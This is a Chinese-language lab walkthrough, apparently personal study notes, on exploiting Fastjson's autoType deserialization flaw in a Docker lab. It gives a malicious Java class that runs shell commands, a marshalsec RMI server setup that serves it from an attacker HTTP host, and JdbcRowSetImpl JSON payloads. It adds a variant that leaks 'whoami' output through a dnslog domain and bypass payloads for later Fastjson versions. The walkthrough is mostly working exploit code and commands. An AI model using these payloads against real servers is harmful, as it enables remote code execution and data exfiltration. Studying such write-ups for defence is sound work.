fastjson用於將Java Bean序列化為JSON字串,也可以從JSON字串反序列化到JavaBean。fastjson.jar是阿里開發的一款專門用於Java開發的包,可以方便的實現json物件與JavaBean物件的轉換,實現JavaBean物件與json字串的轉換,實現json物件與json字串的轉換。
fastjson是java的一個庫,可以將java物件轉化為json格式的字串,也可以將json格式的字串轉化為java物件,提供了 toJSONString() 和 parseObject() 方法來將 Java 物件與 JSON 相互轉換。呼叫toJSONString方 法即可將物件轉換成 JSON 字串,parseObject 方法則反過來將 JSON 字串轉換成物件。
//將字串轉化為物件
JSONObject obj=JSON.parseObject(jsonStr);
JavaBean:
JavaBean 是特殊的 Java 類,使用 Java 語言書寫,並且遵守 JavaBean API 規範。JavaBean的特徵:
需要被序列化並且實現了 Serializable 介面。
可能有一系列可讀寫屬性。
可能有一系列的 getter 或 setter 方法。
Fastjson在解析json的過程中,支援使用autoType來範例化某一個具體的類,並用該類的set/get方法來存取屬性。
其在反序列化的時候,會進入parseField方法,進入該方法後,就會呼叫setValue(object,value)方法,會將獲取到的陣列物件,賦予到@type class中的對應屬性中。(在後面構造poc的時候詳細說)在這裡,就可能執行構造的惡意程式碼。從而造成程式碼執行。
通俗理解:漏洞利用fastjson autotype在處理json物件的時候,未對@type欄位進行完全的安全性驗證,攻擊者可以傳入危險類,並呼叫危險類中連線遠端主機,通過其中的惡意類執行程式碼。攻擊者通過這種方式,可以實現遠端程式碼執行漏洞的利用,獲取伺服器的敏感資訊洩露,甚至可以利用此漏洞進一步對伺服器資料進行更改,增加,刪除等操作,對伺服器造成巨大影響。
sudo apt update
sudo apt install -y docker.io
dockesystemclt enable docker --now
sudo apt install docker-compose
github下載,解壓進入fastjson->1.2.24rce資料夾在這裡開啟終端(cd也行)
sudo docker-compose build
sudo docker-compose up -d
下載java8
https://www.oracle.com/java/technologies/downloads/
mkdir /opt/java
tar zxvf jdk8u341-linux-x64.tar.gz
vim /etc/profile
末尾新增:
export JAVA_HOME=/opt/java/jdk1.8.0_341
export JRE_HOME=/opt/java/jdk1.8.0_341
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PAHT=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
source /etc/profile
java -version
顯示版本即設定成功
git clone https://github.com/mbechler/marshalsec.git
下載maven
apt-get install maven
使用maven編譯marshalsec成jar包
cd marshalsec
mvn clean package -DskipTests
靶機kali :192.168.255.130 攻擊機kali: 192.168.255.130
這裡也可以用兩個不同機器
開啟fastjson漏洞
sudo docker-compose up -d
這裡是因為之前我已經開過了
存取靶機,可以看到json格式的輸出
執行下面這條命令,使用 curl命令模擬json格式的POST請求,返回json格式的請求結果,沒報404,正常情況下說明存在該漏洞。
curl http://192.168.255.130:8090/ -H "Content-Type: application/json" --data '{"name":"xmp", "age":405}'
還可以通過burp抓包,post一個非json格式的資料,看報錯情況(但是這裡我沒有成功,暫時沒找到原因借用一下網圖)
編譯一個惡意類,這裡其實需要注意一下,有的kali許可權受限,不會執行commonds中的命令,比如這裡的這個如果沒有root許可權的話就執行不了,導致沒有結果。後面在加一個普通許可權即可有結果回顯的。
//fjsonxmp.java
import java.lang.Runtime;
import java.lang.Process;
public class fjsonxmp {
static {
try {
//執行時,是一個封裝了JVM程序的類。每一個JAVA程式實際上都是啟動了一個JVM程序,那麼每一個程序都是對應這一個Runtime範例,其範例是由JVM為其初始化的。
Runtime rt = Runtime.getRuntime();//取得Runtime類的範例
String[] commonds = {"touch", "/tmp/zcctest"};
//定義要執行的命令字串
Process pc = rt.exec(commonds);
//exec是執行本機的命令,它的返回值是一個程序,故用process 一個範例來接收,
pc.waitFor();
//返回該Process物件代表的程序的出口值
} catch (Exception e) {
//do nothing
}
}
}
然後,這裡是把檔案變為class位元組的,在JVM虛擬機器器中執行
javac fjsonxmp.java
搭建http服務傳輸惡意檔案
python2
python -m SimpleHTTPServer 80
python3
python -m http.server 80
開啟RMI服務
cd marshalsec
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.255.130/#fjsonxmp" 9999
使用burp抓包,並寫入poc
poc
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.255.130:9999/opt/fjsonxmp",
"autoCommit":true
}
}
fastjson序列化的時候,會把原始型別記錄下來
序列化後的字串中新增@type屬性,存放物件型別
首先我們找到需要呼叫的類com.sun.rowset.JdbcRowSetImpl,這個類一定會被載入
被攻擊的伺服器拿到這個惡意的資料就找rmi伺服器去執行命令
這個rmi伺服器相當於請求80埠伺服器中的fjsonxmp.class
從rmi請求中得到命令touch /tmp/zcctest
然後被攻擊的伺服器就回去執行命令
這裡舉個小例子來幫助理解
class Apple implements Fruit {
private Big_Decimal price;
//省略 setter/getter/toString等
}
class Banana implements Fruit {
private Big_Decimal price;
//省略 setter/getter/toString等
}
這兩個類在傳輸的時候 json格式是這樣的
"Fruit":{
price:50
}
這裡只說明瞭一個Fruit的price為50,可是卻不知道傳輸的是Banana還是Apple。這是利用autoType
新增@type欄位來存放物件型別
"Fruit":{
@type:Apple
price:50
}
假設這樣傳輸,就可以明確是Apple的price為50.
我們在找到需要呼叫的類:com.sun.rowset.JdbcRowSetImpl 這個類一定會被讀取載入 他就相當於Apple
dataSourceName 他就相當於 price對於Apple的情況。
這裡可以看到rmi 和 80 http服務 都收到了請求。但是因為沒許可權執行,所以沒有回顯結果。檔案未建立。
利用dnslog來回顯結果
修改惡意類
import java.lang.Runtime;
import java.lang.Process;
public class fjsonxmp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commonds = {"/bin/sh","-c","ping user.'whoami'.bjdbwl.dnslog.cn"};
Process pc = rt.exec(commonds);
pc.waitFor();
} catch (Exception e) {
//do nothing
}
}
}
可以看到有請求
成功回顯,達到遠端任意指令執行。
fastjson在載入到過程中,會在載入類的時候去掉className前面的L
和最後的;
,所以就有了如下的poc:
{
"b":{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}
從而湊出com.sun.rowset.JdbcRowSetImpl
由於上一個版本只只過濾了L
和;
,所以又可以通過雙寫繞過
{
"b":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}
上一個版本中雙寫L和; 被繞過,所有又增加了一個是否以LL未開頭判斷,繞過的方法是在`目標類前面新增[
poc:
{
"b":{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}
因為從1.2.45開始autotype是預設關閉的,因為之前開啟一直出現漏洞,但是關閉他也出現了。
因為來fastjson中有一個全域性快取,在類載入的時候,
如果autoType沒開啟,會先嚐試從mapping快取中獲取目標類,如果快取中有,則直接返回進入之後的反序列化流程。
如果autoType開啟,因為typeName為java.lang.Class
不在黑名單,成功繞過檢測被解析為Class型別。
java.lang.Class
在快取中肯定有,該類對應的deserializer為MiscCodec,反序列化時會取json串中的val值並載入這個val對應的類Class到全域性快取中。
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://xx.x.xx.xx:9999/poc",
"autoCommit": true
}
}
fastjson的漏洞其實就是fastjson autotype在處理json物件的時候,未對@type欄位進行完全的安全性驗證,攻擊者可以傳入危險類,並呼叫危險類中連線遠端主機,通過其中的惡意類執行程式碼。
筆記只做學習記錄分享。如有錯誤,請大家批評指正!
文章內容多來於
https://www.freebuf.com/articles/web/283585.html
https://www.freebuf.com/vuls/276512.html